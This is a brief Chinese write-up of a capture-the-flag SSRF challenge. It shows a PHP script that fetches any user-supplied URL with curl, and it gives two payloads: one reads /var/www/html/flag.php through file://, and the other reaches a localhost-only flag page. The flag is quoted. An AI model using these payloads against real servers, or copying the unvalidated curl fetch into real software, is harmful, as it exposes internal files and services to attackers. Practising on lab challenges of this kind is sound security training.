代码审计
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
//初始化
$ch=curl_init($url);
//设置属性
curl_setopt($ch, CURLOPT_HEADER, 0);
//将curl_exec()获取的信息以字符串返回,而不是直接输出。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//执行结果
$result=curl_exec($ch);
//关闭url请求
curl_close($ch);
echo ($result);
?>
这里利用
ssrf
读取下本机文件看看#POST提交 url=file:///var/www/html/flag.php
后面还有一串,看看代码
```php <?php
$flag=”ctfshow{79220bfb-81a6-4090-b4ed-dc37d008f066}”; if($_SERVER[‘REMOTE_ADDR’]==’127.0.0.1’) //判断当前浏览的用户的IP地址是否等于127.0.0.1 { echo $flag; } else{ die(“非本地用户禁止访问”); } ?>
4. 那么我们还可以这样直接请求
```shell
#POST请求
url=127.0.0.1/flag.php